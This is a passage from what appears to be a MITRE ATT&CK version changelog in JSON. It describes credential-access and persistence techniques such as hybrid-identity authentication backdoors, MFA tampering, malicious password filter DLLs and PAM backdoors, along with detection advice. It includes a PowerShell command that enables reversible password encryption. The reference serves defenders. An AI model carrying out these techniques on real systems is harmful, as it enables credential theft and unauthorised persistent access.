Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\\n\\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\", \"diff\": \"--- \\n+++ \\n@@ -1,13 +1,13 @@\\n Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \\n \\n-Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\\n+Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\\n \\n-* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \\n-* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \\n-* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \\n+* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \\n+* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \\n+* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \\n \\n AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\\u2019 identity and privileges. \\n \\n-By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\\n+By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\\n \\n-In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\\n+In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][4]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may patch, modify, or otherwise backdoor cloud at1Adversaries may patch, modify, or otherwise backdoor cloud a
>uthentication processes that are tied to on-premises user id>uthentication processes that are tied to on-premises user id
>entities in order to bypass typical authentication mechanism>entities in order to bypass typical authentication mechanism
>s, access credentials, and enable persistent access to accou>s, access credentials, and enable persistent access to accou
>nts.    Many organizations maintain hybrid user and device i>nts.    Many organizations maintain hybrid user and device i
>dentities that are shared between on-premises and cloud-base>dentities that are shared between on-premises and cloud-base
>d environments. These can be maintained in a number of ways.>d environments. These can be maintained in a number of ways.
> For example, Azure AD includes three options for synchroniz> For example, Microsoft Entra ID includes three options for 
>ing identities between Active Directory and Azure AD(Citatio>synchronizing identities between Active Directory and Entra 
>n: Azure AD Hybrid Identity):  * Password Hash Synchronizati>ID(Citation: Azure AD Hybrid Identity):  * Password Hash Syn
>on (PHS), in which a privileged on-premises account synchron>chronization (PHS), in which a privileged on-premises accoun
>izes user password hashes between Active Directory and Azure>t synchronizes user password hashes between Active Directory
> AD, allowing authentication to Azure AD to take place entir> and Entra ID, allowing authentication to Entra ID to take p
>ely in the cloud  * Pass Through Authentication (PTA), in wh>lace entirely in the cloud  * Pass Through Authentication (P
>ich Azure AD authentication attempts are forwarded to an on->TA), in which Entra ID authentication attempts are forwarded
>premises PTA agent, which validates the credentials against > to an on-premises PTA agent, which validates the credential
>Active Directory  * Active Directory Federation Services (AD>s against Active Directory  * Active Directory Federation Se
> FS), in which a trust relationship is established between A>rvices (AD FS), in which a trust relationship is established
>ctive Directory and Azure AD   AD FS can also be used with o> between Active Directory and Entra ID   AD FS can also be u
>ther SaaS and cloud platforms such as AWS and GCP, which wil>sed with other SaaS and cloud platforms such as AWS and GCP,
>l hand off the authentication process to AD FS and receive a> which will hand off the authentication process to AD FS and
> token containing the hybrid users\u2019 identity and privileges.> receive a token containing the hybrid users\u2019 identity and p
>   By modifying authentication processes tied to hybrid iden>rivileges.   By modifying authentication processes tied to h
>tities, an adversary may be able to establish persistent pri>ybrid identities, an adversary may be able to establish pers
>vileged access to cloud resources. For example, adversaries >istent privileged access to cloud resources. For example, ad
>who compromise an on-premises server running a PTA agent may>versaries who compromise an on-premises server running a PTA
> inject a malicious DLL into the `AzureADConnectAuthenticati> agent may inject a malicious DLL into the `AzureADConnectAu
>onAgentService` process that authorizes all attempts to auth>thenticationAgentService` process that authorizes all attemp
>enticate to Azure AD, as well as records user credentials.(C>ts to authenticate to Entra ID, as well as records user cred
>itation: Azure AD Connect for Read Teamers)(Citation: AADInt>entials.(Citation: Azure AD Connect for Read Teamers)(Citati
>ernals Azure AD On-Prem to Cloud) In environments using AD F>on: AADInternals Azure AD On-Prem to Cloud) In environments 
>S, an adversary may edit the `Microsoft.IdentityServer.Servi>using AD FS, an adversary may edit the `Microsoft.IdentitySe
>cehost` configuration file to load a malicious DLL that gene>rver.Servicehost` configuration file to load a malicious DLL
>rates authentication tokens for any user with any set of cla> that generates authentication tokens for any user with any 
>ims, thereby bypassing multi-factor authentication and defin>set of claims, thereby bypassing multi-factor authentication
>ed AD FS policies.(Citation: MagicWeb)  In some cases, adver> and defined AD FS policies.(Citation: MagicWeb)  In some ca
>saries may be able to modify the hybrid identity authenticat>ses, adversaries may be able to modify the hybrid identity a
>ion process from the cloud. For example, adversaries who com>uthentication process from the cloud. For example, adversari
>promise a Global Administrator account in an Azure AD tenant>es who compromise a Global Administrator account in an Entra
> may be able to register a new PTA agent via the web console> ID tenant may be able to register a new PTA agent via the w
>, similarly allowing them to harvest credentials and log int>eb console, similarly allowing them to harvest credentials a
>o the Azure AD environment as any user.(Citation: Mandiant A>nd log into the Entra ID environment as any user.(Citation: 
>zure AD Backdoors)>Mandiant Azure AD Backdoors)
", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0011: Module (Module Load)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-31 19:31:38.431000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Multi-Factor Authentication", + "description": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/006", + "external_id": "T1556.006" + }, + { + "source_name": "Russians Exploit Default MFA Protocol - CISA March 2022", + "description": "Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved May 31, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + }, + { + "source_name": "Mandiant APT42", + "description": "Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.", + "url": "https://www.mandiant.com/media/17826" + }, + { + "source_name": "Azure AD Conditional Access Exclusions", + "description": "Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps", + "Muhammad Moiz Arshad, @5T34L7H", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content", + "Active Directory: Active Directory Object Modification", + "User Account: User Account Authentication", + "User Account: User Account Modification" + ], + "x_mitre_defense_bypassed": [ + "Multi-Factor Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-16 00:20:21.488000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0002: User Account (User Account Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:05:45.829000+00:00", + "modified": "2024-08-21 16:16:18.271000+00:00", + "name": "Password Filter DLL", + "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/002", + "external_id": "T1556.002" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + }, + { + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "Module: Module Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-21 16:16:18.271000+00:00\", \"old_value\": \"2021-04-20 20:11:55.147000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-26 04:01:09.648000+00:00", + "modified": "2024-08-21 16:19:55.082000+00:00", + "name": "Pluggable Authentication Modules", + "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/003", + "external_id": "T1556.003" + }, + { + "source_name": "Apple PAM", + "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.", + "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt" + }, + { + "source_name": "Man Pam_Unix", + "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.", + "url": "https://linux.die.net/man/8/pam_unix" + }, + { + "source_name": "PAM Creds", + "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.", + "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/" + }, + { + "source_name": "Red Hat PAM", + "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules" + }, + { + "source_name": "PAM Backdoor", + "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.", + "url": "https://github.com/zephrax/linux-pam-backdoor" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Scott Knight, @sdotknight, VMware Carbon Black", + "George Allen, VMware Carbon Black" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-21 16:19:55.082000+00:00\", \"old_value\": \"2021-10-17 14:48:33.580000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-01-13 20:02:28.349000+00:00", + "modified": "2024-08-26 15:40:31.871000+00:00", + "name": "Reversible Encryption", + "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/005", + "external_id": "T1556.005" + }, + { + "source_name": "dump_pwd_dcsync", + "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.", + "url": "https://adsecurity.org/?p=2053" + }, + { + "source_name": "store_pwd_rev_enc", + "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption" + }, + { + "source_name": "how_pwd_rev_enc_1", + "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.", + "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html" + }, + { + "source_name": "how_pwd_rev_enc_2", + "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.", + "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Modification", + "Command: Command Execution", + "User Account: User Account Metadata", + "Script: Script Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 15:40:31.871000+00:00\", \"old_value\": \"2022-02-10 21:35:25.377000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Metadata)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-14 14:45:15.978000+00:00", + "modified": "2024-09-30 13:28:37.416000+00:00", + "name": "Create Cloud Instance", + "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/002", + "external_id": "T1578.002" + }, + { + "source_name": "AWS CloudTrail Search", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure Activity Logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Instance: Instance Creation", + "Instance: Instance Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)", + 